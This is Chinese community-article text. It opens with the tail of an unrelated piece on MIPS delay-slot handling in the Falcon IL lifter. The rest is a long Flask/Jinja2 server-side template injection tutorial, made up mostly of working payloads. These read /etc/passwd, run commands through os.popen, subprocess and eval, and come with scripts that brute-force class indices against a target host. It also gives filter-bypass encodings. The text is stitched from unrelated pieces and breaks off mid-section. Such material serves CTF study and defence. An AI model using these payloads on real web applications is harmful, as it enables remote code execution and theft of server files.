如果在你的IL里没有显式的delay slot的符号（关于这个问题我其实应该再写一篇文章），delay slot就会成为一个完美的大灾难。
我们从指令一开始是怎么实现的开始
假设我们有以下的代码:
1000: balr 0x123456:32
1004: addiu $v0, $zero, 1
非常简单，Falcon 以块为单位lift指令，而不是独立的指令，在我们碰到一个带有delay
slot的跳转指令的时候，我们可以简单的把跳转指令lift了，再lift delay slot，之后把delay
slot放在跳转指令之前，块结束的地方，非常简单，所以我们来看看大概长什么样：
1004 00 $v0:32 = (0x0:32 + 0x1:32)
1000 01 b 0x123456:32
牛逼极了，任务完成，只是，如果在分析过程中，有另外一个跳转指向0x1000，那么会发生什么问题？好，我们看下，我们就会找到0x1000，然后开始执行，然后
_忽略了delay slot_
。这个问题会导致`ld.so`出现失败，然后让人花好多小时，甚至好多天，我自己都没数来debug么？是的。。所以应该怎么fix呢？
首先我们可以在1004指令前插入指令，这个指令什么也不干，但是分配给他地址1000。我们还是需要跳转指令的地址，因为这是现在lifter的工作方式，现在，Falcon大概会做这样的事情：
1000 00 nop = 0x0:1
1004 01 $v0:32 = (0x0:32 + 0x1:32)
1005 02 b 0x123456:32
哇塞看啊，这样就好了，只是看起来不太漂亮是吧？有时候确实是。。
记住，条件跳转会在delay slot执行之前计算跳转条件，比如这样一个指令序列：
1000 beq $v0, $zero, label
1004 addiu $v0, $zero, 1
这就会变成：
1000 00 nop = 0x0:1
1004 01 $v0 = (0x0:32 + 0x1:32)
// outgoing condition on edges is ($v0 == $0x0:32)
我们就弄坏了这个条件跳转，我最后采用的解决方案是把nop换成一个到变量`branch_condition:1`的赋值，这样就成了：
1000 00 branching_condition:1 = ($v0:32 == 0x0:32)
1004 01 $v0 = (0x0:32 + 0x1:32)
// outgoing condition on edges is branching_condition:1
这样就好了，我觉得这个方法对于所有单指令delay slot的架构都适用。
### 缺少跳转指令的情况
我们之前提到了Falcon
IL是怎么完全忽略掉过程内直接跳转的，这些跳转会被隐式转换成CFG内的边。这就有了一个问题：有时候一个分析需要知道跳转指令的地址。最显然的例子就是一个跳转指令跳到了一个过程内直接跳转，如果这个跳转没有一个占位符，我们就完了。
这个问题在MIPS里用上面的丑陋的hack方法解决了，但是在x86里还是存在。我可以继续往IL里添加没用的赋值，就为了解决在某个指令应该在的地址的占位问题，但是这样太丑了，不优雅，而且可能之后会造成更多的问题。例如dead
code elimination（不活跃代码消除）的pass可能会消除一些指令，使得刚才的那些问题在之后又出现了。
我觉得是时候搞一个完备的`nop`操作了，因为我知道`Nop`操作没有有意义的语义，以及我在分析的时候可以跳过，我甚至可以在观察IL的时候忽略（保证了一定程度上的IL可读性）。在我实现dead
code elimination的时候，或者其他的IL变形的时候，我可以不管nop，或者在移除指令后插入nop，保证未来需要依赖到地址的分析工作正常。
## Falcon，以及继续Falcon IL
我不觉得有这么一种IL可以使得所有的分析都非常适合，一个智者曾经告诉我“你可以创建一个IL来适合这个分析，但是另外一种就不行了”。我们从一个提供了不错的基础的IL开始，然后再把它变形为其他的表示方式来更好的使得表示方式适于我们要进行的分析，然而当信息，例如省略掉的跳转指令地址的在一开始的IL就丢了，这样就会有问题了。Falcon
IL依然是我最喜欢的IL，然后我会经常来保证他的完整性。 | 社区文章 |
# Flask-jinja2 SSTI 一般利用姿势
## SSTI 中常用的魔术方法
很多刚开始学习SSTI的新手可能看到上面的利用方法就蒙圈了，不太懂为什么要这么做，下面来讲一下关于Python中类的知识。
面向对象语言的方法来自于类，对于python，有很多好用的函数库，我们经常会再写Python中用到import来引入许多的类和方法，python的str(字符串)、dict(字典)、tuple(元组)、list(列表)这些在Python类结构的基类都是
**object** ，而object拥有众多的子类。
`__class__`：用来查看变量所属的类，根据前面的变量形式可以得到其所属的类。 `__class__` 是类的一个内置属性，表示类的类型，返回
`<type 'type'>` ； 也是类的实例的属性，表示实例对象的类。
>>> ''.__class__
<type 'str'>
>>> ().__class__
<type 'tuple'>
>>> [].__class__
<type 'list'>
>>> {}.__class__
<type 'dict'>
`__bases__`：用来查看类的基类，也可以使用数组索引来查看特定位置的值。 通过该属性可以查看该类的所有直接父类，该属性返回所有直接父类组成的
**元组** （虽然只有一个元素）。注意是直接父类！！！
>>> ().__class__.__bases__
(<type 'object'>,)
>>> ''.__class__.__bases__
(<type 'basestring'>,)
>>> [].__class__.__bases__
(<type 'object'>,)
>>> {}.__class__.__bases__
(<type 'object'>,)
>>> ''.__class__.__bases__[0].__bases__[0] // python2下雨python3下不同
<type 'object'>
>>> [].__class__.__bases__[0]
<type 'object'>
获取基类还能用 `__mro__` 方法，`__mro__` 方法可以用来获取一个类的调用顺序，比如：
>>> ''.__class__.__mro__ // python2下和python3下不同
(<class 'str'>, <class 'object'>)
>>> [].__class__.__mro__
(<class 'list'>, <class 'object'>)
>>> {}.__class__.__mro__
(<class 'dict'>, <class 'object'>)
>>> ().__class__.__mro__
(<class 'tuple'>, <class 'object'>)
>>> ().__class__.__mro__[1] // 返回的是一个类元组，使用索引就能获取基类了
<class 'object'>
除此之外，我们还可以利用 `__base__` 方法获取直接基类：
>>> "".__class__.__base__
<type 'basestring'>
有这些类继承的方法，我们就可以从任何一个变量，回溯到最顶层基类（`<class'object'>`）中去，再获得到此基类所有实现的类，就可以获得到很多的类和方法了。
`__subclasses__()`：查看当前类的子类组成的列表，即返回基类object的子类。
>>> [].__class__.__bases__[0].__subclasses__()
[<type 'type'>, <type 'weakref'>, <type 'weakcallableproxy'>, <type 'weakproxy'>, <type 'int'>, <type 'basestring'>, <type 'bytearray'>, <type 'list'>, <type 'NoneType'>, <type 'NotImplementedType'>, <type 'traceback'>, <type 'super'>, <type 'xrange'>, <type 'dict'>, <type 'set'>, <type 'slice'>, <type 'staticmethod'>, <type 'complex'>, <type 'float'>, <type 'buffer'>, <type 'long'>, <type 'frozenset'>, <type 'property'>, <type 'memoryview'>, <type 'tuple'>, <type 'enumerate'>, <type 'reversed'>, <type 'code'>, <type 'frame'>, <type 'builtin_function_or_method'>, <type 'instancemethod'>, <type 'function'>, <type 'classobj'>, <type 'dictproxy'>, <type 'generator'>, <type 'getset_descriptor'>, <type 'wrapper_descriptor'>, <type 'instance'>, <type 'ellipsis'>, <type 'member_descriptor'>, <type 'file'>, <type 'PyCapsule'>, <type 'cell'>, <type 'callable-iterator'>, <type 'iterator'>, <type 'sys.long_info'>, <type 'sys.float_info'>, <type 'EncodingMap'>, <type 'fieldnameiterator'>, <type 'formatteriterator'>, <type 'sys.version_info'>, <type 'sys.flags'>, <type 'sys.getwindowsversion'>, <type 'exceptions.BaseException'>, <type 'module'>, <type 'imp.NullImporter'>, <type 'zipimport.zipimporter'>, <type 'nt.stat_result'>, <type 'nt.statvfs_result'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class '_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, <class '_abcoll.Hashable'>, <type 'classmethod'>, <class '_abcoll.Iterable'>, <class '_abcoll.Sized'>, <class '_abcoll.Container'>, <class '_abcoll.Callable'>, <type 'dict_keys'>, <type 'dict_items'>, <type 'dict_values'>, <class 'site._Printer'>, <class 'site._Helper'>, <type '_sre.SRE_Pattern'>, <type '_sre.SRE_Match'>, <type '_sre.SRE_Scanner'>, <class 'site.Quitter'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>, <type 'operator.itemgetter'>, <type 'operator.attrgetter'>, <type 'operator.methodcaller'>, <type 'functools.partial'>, <type 'MultibyteCodec'>, <type 'MultibyteIncrementalEncoder'>, <type 'MultibyteIncrementalDecoder'>, <type 'MultibyteStreamReader'>, <type 'MultibyteStreamWriter'>]
查阅起来有些困难，来列举一下：
for i in enumerate(''.__class__.__mro__[-1].__subclasses__()): print i
.....
(0, <type 'type'>)
(1, <type 'weakref'>)
(2, <type 'weakcallableproxy'>)
(3, <type 'weakproxy'>)
(4, <type 'int'>)
(5, <type 'basestring'>)
(6, <type 'bytearray'>)
(7, <type 'list'>)
(8, <type 'NoneType'>)
(9, <type 'NotImplementedType'>)
(10, <type 'traceback'>)
(11, <type 'super'>)
(12, <type 'xrange'>)
(13, <type 'dict'>)
(14, <type 'set'>)
(15, <type 'slice'>)
(16, <type 'staticmethod'>)
(17, <type 'complex'>)
(18, <type 'float'>)
......
(38, <type 'ellipsis'>)
(39, <type 'member_descriptor'>)
(40, <type 'file'>)
(41, <type 'PyCapsule'>)
(42, <type 'cell'>)
(43, <type 'callable-iterator'>)
......
**注意：** 这里要记住一点2.7和3.6版本返回的子类不是一样的，但是2.7有的3.6大部分都有。
当然我们也可以直接用`object.__subclasses__()`，会得到和上面一样的结果。SSTI
的主要目的就是从这么多的子类中找出可以利用的类（一般是指读写文件或执行命令的类）加以利用。
`__builtins__`：以一个集合的形式查看其引用
> #### 内建函数
>
> 当我们启动一个python解释器时，即时没有创建任何变量或者函数，还是会有很多函数可以使用，我们称之为内建函数。
>
> 内建函数并不需要我们自己做定义，而是在启动python解释器的时候，就已经导入到内存中供我们使用，想要了解这里面的工作原理，我们可以从名称空间开始。
>
> `__builtins__` 方法是做为默认初始模块出现的，可用于查看当前所有导入的内建函数。
`__globals__`：该方法会以字典的形式返回当前位置的所有全局变量，与 func_globals
等价。该属性是函数特有的属性，记录当前文件全局变量的值，如果某个文件调用了os、sys等库，但我们只能访问该文件某个函数或者某个对象，那么我们就可以利用globals属性访问全局的变量。该属性保存的是函数全局变量的字典引用。
`__import__()`：该方法用于动态加载类和函数 。如果一个模块经常变化就可以使用 `__import__()` 来动态载入，就是
`import`。语法：`__import__(模块名)`
这样我们在进行SSTI注入的时候就可以通过这种方式使用很多的类和方法，通过子类再去获取子类的子类、更多的方法，找出可以利用的类和方法加以利用。总之，是通过python的对象的继承来一步步实现文件读取和命令执行的：
找到父类<type 'object'> ---> 寻找子类 ---> 找关于命令执行或者文件操作的模块。
但是遇上一个SSTI的题，该如何下手？大体上有以下几种思路，简单介绍一下，后续有详细总结。
* 查配置文件
* 命令执行（其实就是沙盒逃逸类题目的利用方式）
* 文件读取
## 利用 SSTI 读取文件
### Python 2
在上文中我们使用 `__subclasses__` 方法查看子类的时候，发现可以发现索引号为40指向file类：
for i in enumerate(''.__class__.__mro__[-1].__subclasses__()): print i
.....
(0, <type 'type'>)
(1, <type 'weakref'>)
(2, <type 'weakcallableproxy'>)
(3, <type 'weakproxy'>)
(4, <type 'int'>)
(5, <type 'basestring'>)
(6, <type 'bytearray'>)
(7, <type 'list'>)
(8, <type 'NoneType'>)
(9, <type 'NotImplementedType'>)
(10, <type 'traceback'>)
(11, <type 'super'>)
(12, <type 'xrange'>)
(13, <type 'dict'>)
(14, <type 'set'>)
(15, <type 'slice'>)
(16, <type 'staticmethod'>)
(17, <type 'complex'>)
(18, <type 'float'>)
......
(38, <type 'ellipsis'>)
(39, <type 'member_descriptor'>)
(40, <type 'file'>)
(41, <type 'PyCapsule'>)
(42, <type 'cell'>)
(43, <type 'callable-iterator'>)
......
此file类可以直接用来读取文件：
{{[].__class__.__base__.__subclasses__()[40]('/etc/passwd').read()}}
### Python 3
使用file类读取文件的方法仅限于Python 2环境，在Python 3环境中file类已经没有了。我们可以用`<class
'_frozen_importlib_external.FileLoader'>` 这个类去读取文件。
首先编写脚本遍历目标Python环境中 `<class '_frozen_importlib_external.FileLoader'>` 这个类索引号：
import requests
headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36'
}
for i in range(500):
url = "http://47.xxx.xxx.72:8000/?name={{().__class__.__bases__[0].__subclasses__()["+str(i)+"]}}"
res = requests.get(url=url, headers=headers)
if 'FileLoader' in res.text:
print(i)
# 得到编号为79
所以payload如下：
{{().__class__.__bases__[0].__subclasses__()[79]["get_data"](0, "/etc/passwd")}}
## 利用 SSTI 执行命令
可以用来执行命令的类有很多，其基本原理就是遍历含有eval函数即os模块的子类，利用这些子类中的eval函数即os模块执行命令。这里我们简单挑几个常用的讲解。
### 寻找内建函数 eval 执行命令
首先编写脚本遍历目标Python环境中含有内建函数 eval 的子类的索引号：
import requests
headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36'
}
for i in range(500):
url = "http://47.xxx.xxx.72:8000/?name={{().__class__.__bases__[0].__subclasses__()["+str(i)+"].__init__.__globals__['__builtins__']}}"
res = requests.get(url=url, headers=headers)
if 'eval' in res.text:
print(i)
# 得到一大堆子类的索引:
64
65
66
67
68
79
80
81
83
91
92
93
94
95
96
117
...
我们可以记下几个含有eval函数的类：
* warnings.catch_warnings
* WarningMessage
* codecs.IncrementalEncoder
* codecs.IncrementalDecoder
* codecs.StreamReaderWriter
* os._wrap_close
* reprlib.Repr
* weakref.finalize
* ......
所以payload如下：
{{''.__class__.__bases__[0].__subclasses__()[166].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ls /").read()')}}
我们可以看到，使用eval函数执行命令也是调用的os模块，那我们直接调用os模块不是更简单？
### 寻找 os 模块执行命令
Python的 os
模块中有system和popen这两个函数可用来执行命令。其中system()函数执行命令是没有回显的，我们可以使用system()函数配合curl外带数据；popen()函数执行命令有回显。所以比较常用的函数为popen()函数，而当popen()函数被过滤掉时，可以使用system()函数代替。
首先编写脚本遍历目标Python环境中含有os模块的类的索引号：
import requests
headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36'
}
for i in range(500):
url = "http://47.xxx.xxx.72:8000/?name={{().__class__.__bases__[0].__subclasses__()["+str(i)+"].__init__.__globals__}}"
res = requests.get(url=url, headers=headers)
if 'os.py' in res.text:
print(i)
# 可以得到一大堆类
64
65
66
67
68
79
80
81
83
117
147
154
161
162
163
164
...
随便挑一个类构造payload执行命令即可：
{{''.__class__.__bases__[0].__subclasses__()[79].__init__.__globals__['os'].popen('ls /').read()}}
但是该方法遍历得到的类不准确，因为一些不相关的类名中也存在字符串 “os”，所以我们还要探索更有效的方法。
我们可以看到，即使是使用os模块执行命令，其也是调用的os模块中的popen函数，那我们也可以直接调用popen函数，存在popen函数的类一般是
`os._wrap_close`，但也不绝对。由于目标Python环境的不同，我们还需要遍历一下。
### 寻找 popen 函数执行命令
首先编写脚本遍历目标Python环境中含有 popen 函数的类的索引号：
import requests
headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36'
}
for i in range(500):
url = "http://47.xxx.xxx.72:8000/?name={{().__class__.__bases__[0].__subclasses__()["+str(i)+"].__init__.__globals__}}"
res = requests.get(url=url, headers=headers)
if 'popen' in res.text:
print(i)
# 得到编号为117
直接构造payload即可：
{{''.__class__.__bases__[0].__subclasses__()[117].__init__.__globals__['popen']('ls /').read()}}
这样得到的索引还是很准确的。
除了这种方法外，我们还可以直接导入os模块，python有一个importlib类，可用load_module来导入你需要的模块。
### 寻找 importlib 类执行命令
Python 中存在 `<class '_frozen_importlib.BuiltinImporter'>` 类，目的就是提供 Python 中
import 语句的实现（以及 `__import__` 函数）。我么可以直接利用该类中的load_module将os模块导入，从而使用 os
模块执行命令。
首先编写脚本遍历目标Python环境中 importlib 类的索引号：
import requests
headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36'
}
for i in range(500):
url = "http://47.xxx.xxx.72:8000/?name={{().__class__.__bases__[0].__subclasses__()["+str(i)+"]}}"
res = requests.get(url=url, headers=headers)
if '_frozen_importlib.BuiltinImporter' in res.text:
print(i)
# 得到编号为69
构造如下payload即可执行命令：
{{[].__class__.__base__.__subclasses__()[69]["load_module"]("os")["popen"]("ls /").read()}}
### 寻找 linecache 函数执行命令
linecache 这个函数可用于读取任意一个文件的某一行，而这个函数中也引入了 os 模块，所以我们也可以利用这个 linecache 函数去执行命令。
首先编写脚本遍历目标Python环境中含有 linecache 这个函数的子类的索引号：
import requests
headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36'
}
for i in range(500):
url = "http://47.xxx.xxx.72:8000/?name={{().__class__.__bases__[0].__subclasses__()["+str(i)+"].__init__.__globals__}}"
res = requests.get(url=url, headers=headers)
if 'linecache' in res.text:
print(i)
# 得到一堆子类的索引:
168
169
203
206
207
208
...
随便挑一个子类构造payload即可：
{{[].__class__.__base__.__subclasses__()[168].__init__.__globals__['linecache']['os'].popen('ls /').read()}}
{{[].__class__.__base__.__subclasses__()[168].__init__.__globals__.linecache.os.popen('ls /').read()}}
### 寻找 subprocess.Popen 类执行命令
从python2.4版本开始，可以用 subprocess 这个模块来产生子进程，并连接到子进程的标准输入/输出/错误中去，还可以得到子进程的返回值。
subprocess 意在替代其他几个老的模块或者函数，比如：`os.system`、`os.popen` 等函数。
首先编写脚本遍历目标Python环境中含有 linecache 这个函数的子类的索引号：
import requests
headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36'
}
for i in range(500):
url = "http://47.xxx.xxx.72:8000/?name={{().__class__.__bases__[0].__subclasses__()["+str(i)+"]}}"
res = requests.get(url=url, headers=headers)
if 'linecache' in res.text:
print(i)
# 得到索引为245
则构造如下payload执行命令即可：
{{[].__class__.__base__.__subclasses__()[245]('ls /',shell=True,stdout=-1).communicate()[0].strip()}}
# {{[].__class__.__base__.__subclasses__()[245]('要执行的命令',shell=True,stdout=-1).communicate()[0].strip()}}
# Flask-jinja2 SSTI Bypass姿势
## 关键字绕过
### 利用字符串拼接绕过
我们可以利用“+”进行字符串拼接，绕过关键字过滤，例如：
{{().__class__.__bases__[0].__subclasses__()[40]('/fl'+'ag').read()}}
{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']('__import__("o"+"s").popen("ls /").read()')}}
{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__buil'+'tins__']['eval']('__import__("os").popen("ls /").read()')}}
只要返回的是 **字典类型** 的或是 **字符串格式** 的，即payload中引号内的，在调用的时候都可以使用字符串拼接绕过。
### 利用编码绕过
我们可以利用对关键字编码的方法，绕过关键字过滤，例如用base64编码绕过：
{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['X19idWlsdGluc19f'.decode('base64')]['ZXZhbA=='.decode('base64')]('X19pbXBvcnRfXygib3MiKS5wb3BlbigibHMgLyIpLnJlYWQoKQ=='.decode('base64'))}}
等同于：
{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ls /").read()')}}
可以看到，在payload中，只要是字符串的，即payload中引号内的，都可以用编码绕过。同理还可以进行rot13、16进制编码等。
### 利用Unicode编码绕过关键字（flask适用）
unicode编码绕过是一种网上没提出的方法。
我们可以利用unicode编码的方法，绕过关键字过滤，例如：
{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['\u005f\u005f\u0062\u0075\u0069\u006c\u0074\u0069\u006e\u0073\u005f\u005f']['\u0065\u0076\u0061\u006c']('__import__("os").popen("ls /").read()')}}
{{().__class__.__base__.__subclasses__()[77].__init__.__globals__['\u006f\u0073'].popen('\u006c\u0073\u0020\u002f').read()}}
等同于：
{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ls /").read()')}}
{{().__class__.__base__.__subclasses__()[77].__init__.__globals__['os'].popen('ls /').read()}}
### 利用Hex编码绕过关键字
和上面那个一样，只不过将Unicode编码换成了Hex编码，适用于过滤了“u”的情况。
我们可以利用hex编码的方法，绕过关键字过滤，例如：
{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['\x5f\x5f\x62\x75\x69\x6c\x74\x69\x6e\x73\x5f\x5f']['\x65\x76\x61\x6c']('__import__("os").popen("ls /").read()')}}
{{().__class__.__base__.__subclasses__()[77].__init__.__globals__['\x6f\x73'].popen('\x6c\x73\x20\x2f').read()}}
等同于：
{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ls /").read()')}}
{{().__class__.__base__.__subclasses__()[77].__init__.__globals__['os'].popen('ls /').read()}}
### 利用引号绕过
我们可以利用引号来绕过对关键字的过滤。例如，过滤了flag，那么我们可以用 `fl""ag` 或 `fl''ag` 的形式来绕过：
[].__class__.__base__.__subclasses__()[40]("/fl""ag").read()
再如：
().__class__.__base__.__subclasses__()[77].__init__.__globals__['o''s'].popen('ls').read()
{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__buil''tins__']['eval']('__import__("os").popen("ls /").read()')}}
可以看到，在payload中，只要是字符串的，即payload中引号内的，都可以用引号绕过。
### 利用join()函数绕过
我们可以利用join()函数来绕过关键字过滤。例如，题目过滤了flag，那么我们可以用如下方法绕过：
[].__class__.__base__.__subclasses__()[40]("fla".join("/g")).read()
## 绕过其他字符
### 过滤了中括号[ ]
**利用`__getitem__()` 绕过**
可以使用 `__getitem__()` 方法输出序列属性中的某个索引处的元素，如：
"".__class__.__mro__[2]
"".__class__.__mro__.__getitem__(2)
['__builtins__'].__getitem__('eval')
如下示例：
{{''.__class__.__mro__.__getitem__(2).__subclasses__().__getitem__(40)('/etc/passwd').read()}} // 指定序列属性
{{().__class__.__bases__.__getitem__(0).__subclasses__().__getitem__(59).__init__.__globals__.__getitem__('__builtins__').__getitem__('eval')('__import__("os").popen("ls /").read()')}} // 指定字典属性
**利用 pop() 绕过**
pop()方法可以返回指定序列属性中的某个索引处的元素或指定字典属性中某个键对应的值，如下示例：
{{''.__class__.__mro__.__getitem__(2).__subclasses__().pop(40)('/etc/passwd').read()}} // 指定序列属性
{{().__class__.__bases__.__getitem__(0).__subclasses__().pop(59).__init__.__globals__.pop('__builtins__').pop('eval')('__import__("os").popen("ls /").read()')}} // 指定字典属性
注意：最好不要用pop()，因为pop()会删除相应位置的值。
**利用字典读取绕过**
我们知道访问字典里的值有两种方法，一种是把相应的键放入熟悉的方括号 `[]` 里来访问，一种就是用点 `.` 来访问。所以，当方括号 `[]`
被过滤之后，我们还可以用点 `.` 的方式来访问，如下示例
// __builtins__.eval()
{{().__class__.__bases__.__getitem__(0).__subclasses__().pop(59).__init__.__globals__.__builtins__.eval('__import__("os").popen("ls /").read()')}}
等同于：
// [__builtins__]['eval']()
{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ls /").read()')}}
### 过滤了引号
**利用chr()绕过**
先获取chr()函数，赋值给chr，后面再拼接成一个字符串
{% set chr=().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__.chr%}{{().__class__.__bases__.[0].__subclasses__().pop(40)(chr(47)+chr(101)+chr(116)+chr(99)+chr(47)+chr(112)+chr(97)+chr(115)+chr(115)+chr(119)+chr(100)).read()}}
# {% set chr=().__class__.__bases__.__getitem__(0).__subclasses__()[59].__init__.__globals__.__builtins__.chr%}{{().__class__.__bases__.__getitem__(0).__subclasses__().pop(40)(chr(47)+chr(101)+chr(116)+chr(99)+chr(47)+chr(112)+chr(97)+chr(115)+chr(115)+chr(119)+chr(100)).read()}}
等同于
{{().__class__.__bases__[0].__subclasses__().pop(40)('/etc/passwd').read()}}
**利用request对象绕过**
示例：
{{().__class__.__bases__[0].__subclasses__().pop(40)(request.args.path).read()}}&path=/etc/passwd
{{().__class__.__base__.__subclasses__()[77].__init__.__globals__[request.args.os].popen(request.args.cmd).read()}}&os=os&cmd=ls /
等同于：
{{().__class__.__bases__[0].__subclasses__().pop(40)('/etc/passwd').read()}}
{{().__class__.__base__.__subclasses__()[77].__init__.__globals__['os'].popen('ls /').read()}}
如果过滤了args，可以将其中的request.args改为request.values，POST和GET两种方法传递的数据request.values都可以接收。
### 过滤了下划线__
**利用request对象绕过**
{{()[request.args.class][request.args.bases][0][request.args.subclasses]()[40]('/flag').read()}}&class=__class__&bases=__bases__&subclasses=__subclasses__
{{()[request.args.class][request.args.bases][0][request.args.subclasses]()[77].__init__.__globals__['os'].popen('ls /').read()}}&class=__class__&bases=__bases__&subclasses=__subclasses__
等同于：
{{().__class__.__bases__[0].__subclasses__().pop(40)('/etc/passwd').read()}}
{{().__class__.__base__.__subclasses__()[77].__init__.__globals__['os'].popen('ls /').read()}}
### 过滤了点 .
**利用`|attr()` 绕过（适用于flask）**
如果 `.` 也被过滤，且目标是JinJa2（flask）的话，可以使用原生JinJa2函数`attr()`，即：
().__class__ => ()|attr("__class__")
示例：
{{()|attr("__class__")|attr("__base__")|attr("__subclasses__")()|attr("__getitem__")(77)|attr("__init__")|attr("__globals__")|attr("__getitem__")("os")|attr("popen")("ls /")|attr("read")()}}
等同于：
{{().__class__.__base__.__subclasses__()[77].__init__.__globals__['os'].popen('ls /').read()}}
**利用中括号[ ]绕过**
如下示例：
{{''['__class__']['__bases__'][0]['__subclasses__']()[59]['__init__']['__globals__']['__builtins__']['eval']('__import__("os").popen("ls").read()')}}
等同于：
{{().__class__.__bases__.[0].__subclasses__().[59].__init__['__globals__']['__builtins__'].eval('__import__("os").popen("ls /").read()')}}
**这样的话，那么`__class__`、`__bases__` 等关键字就成了字符串，就都可以用前面所讲的关键字绕过的姿势进行绕过了。**
### 过滤了大括号 `{{`
我们可以用Jinja2的 `{%...%}` 语句装载一个循环控制语句来绕过：
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('ls /').read()")}}{% endif %}{% endfor %}
也可以使用 `{% if ... %}1{% endif %}` 配合 `os.popen` 和 `curl` 将执行结果外带（不外带的话无回显）出来：
{% if ''.__class__.__base__.__subclasses__()[59].__init__.func_globals.linecache.os.popen('ls /' %}1{% endif %}
也可以用 `{%print(......)%}` 的形式来代替 `{{` ，如下：
{%print(''.__class__.__base__.__subclasses__()[77].__init__.__globals__['os'].popen('ls').read())%}
## 利用 `|attr()` 来Bypass
这里说一个新东西，就是原生JinJa2函数 `attr()`，这是一个 `attr()`
过滤器，它只查找属性，获取并返回对象的属性的值，过滤器与变量用管道符号（ `|` ）分割。如：
foo|attr("bar") 等同于 foo["bar"]
`|attr()` 配合其他姿势可同时绕过双下划线 `__` 、引号、点 `.` 和 `[` 等，下面给出示例。
### 同时过滤了 . 和 []
过滤了以下字符：
. [
绕过姿势：
{{()|attr("__class__")|attr("__base__")|attr("__subclasses__")()|attr("__getitem__")(77)|attr("__init__")|attr("__globals__")|attr("__getitem__")("os")|attr("popen")("ls")|attr("read")()}}
等同于：
{{().__class__.__base__.__subclasses__()[77].__init__.__globals__['os'].popen('ls').read()}}
### 同时过滤了 __ 、点. 和 []
过滤了以下字符：
__ . [ "
下面我们演示绕过姿势，先写出payload的原型：
{{().__class__.__base__.__subclasses__()[77].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ls /").read()')}}
由于中括号 `[` 被过滤了，我们可以用 `__getitem__()` 来绕过（尽量不要用pop()），类似如下：
{{().__class__.__base__.__subclasses__().__getitem__(77).__init__.__globals__.__getitem__('__builtins__').__getitem__('eval')('__import__("os").popen("ls /").read()')}}
由于还过滤了下划线 `__`，我们可以用request对象绕过，但是还过滤了中括号 `[]`，所以我们要同时绕过 `__` 和
`[`，就用到了我们的`|attr()`
所以最终的payload如下：
{{()|attr(request.args.x1)|attr(request.args.x2)|attr(request.args.x3)()|attr(request.args.x4)(77)|attr(request.args.x5)|attr(request.args.x6)|attr(request.args.x4)(request.args.x7)|attr(request.args.x4)(request.args.x8)(request.args.x9)}}&x1=__class__&x2=__base__&x3=__subclasses__&x4=__getitem__&x5=__init__&x6=__globals__&x7=__builtins__&x8=eval&x9=__import__("os").popen('ls /').read()
### 用Unicode编码配合 `|attr()` 进行Bypass
过滤了以下字符：
' request {{ _ %20(空格) [ ] . __globals__ __getitem__
我们用 `{%...%}`绕过对 `{{` 的过滤，并用unicode绕过对关键字的过滤。unicode绕过是一种网上没提出的方法。
假设我们要构造的payload原型为：
{{().__class__.__base__.__subclasses__()[77].__init__.__globals__['os'].popen('ls').read()}}
先用 `|attr` 绕过 `.` 和 `[]`：
{{()|attr("__class__")|attr("__base__")|attr("__subclasses__")()|attr("__getitem__")(77)|attr("__init__")|attr("__globals__")|attr("__getitem__")("os")|attr("popen")("ls")|attr("read")()}}
我们可以将过滤掉的字符用unicode替换掉：
{{()|attr("\u005f\u005f\u0063\u006c\u0061\u0073\u0073\u005f\u005f")|attr("\u005f\u005f\u0062\u0061\u0073\u0065\u005f\u005f")|attr("\u005f\u005f\u0073\u0075\u0062\u0063\u006c\u0061\u0073\u0073\u0065\u0073\u005f\u005f")()|attr("\u005f\u005f\u0067\u0065\u0074\u0069\u0074\u0065\u006d\u005f\u005f")(77)|attr("\u005f\u005f\u0069\u006e\u0069\u0074\u005f\u005f")|attr("\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f")|attr("\u005f\u005f\u0067\u0065\u0074\u0069\u0074\u0065\u006d\u005f\u005f")("os")|attr("popen")("ls")|attr("read")()}}
### 用Hex编码配合 `|attr()` 进行Bypass
和上面那个一样，只不过是将Unicode编码换成了Hex编码，适用于“u”被过滤了的情况。
我们可以将过滤掉的字符用Hex编码替换掉：
